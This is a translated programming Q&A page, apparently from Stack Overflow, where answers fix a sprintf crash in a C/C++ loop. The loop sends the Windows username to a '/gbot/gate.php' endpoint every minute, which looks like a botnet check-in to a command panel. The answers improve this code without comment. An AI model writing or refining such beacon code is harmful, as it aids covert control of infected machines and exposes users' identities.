1
while(true)
{
    char *mybuf;
    if(getenv("windir") != NULL)
    {
        //mybuf = "GET /gbot/gate.php?page=ident&os=windows&username=%s\r\n\r\n";
        sprintf(mybuf, "GET /gbot/gate.php?page=ident&os=windows&username=%s\r\n\r\n", getenv("username"));
    }
    else
        mybuf = "GET /gbot/gate.php?page=ident&os=linux\r\n\r\n";
    send(Socket, mybuf, strlen(mybuf), 0);
    char buffer[10000];
    recv(Socket, buffer, 10000,0);
    cout << buffer;
    _sleep(60000);
}

我有这段代码,sprintf 使程序崩溃。如何制作 mybuf,包含用户名 (getenv),而不会使我的项目崩溃?非常感谢。

4

2 回答 2

2

char *mybuf只是给你一个char指针,没有别的。您需要实际分配char缓冲区,以便sprintf有一些地方可以将其结果写入。尝试将其改为数组(以避免进行手动内存管理):

char mybuf[SIZE];

SIZE用你想要的缓冲区大小替换。

但是,我担心您认为您正在编写 C++。这看起来更像 C。

于 2013-04-09T22:12:55.210 回答
2

除非您真的想创建另一个缓冲区溢出问题,否则根本不要使用sprintf。既然你已经标记了这个 C++,我建议更像:

std::string mybuf("GET /gbot/gate.php?page=ident&os=");

if(getenv("windir") != NULL) {
    mybuf += "windows&username=";
    mybuf += getenv("username");
    mybuf += "\r\n\r\n";
}
else
    mybuf += "linux\r\n\r\n";

send(Socket, mybuf.c_str(), mybuf.length(), 0);
于 2013-04-09T22:17:44.230 回答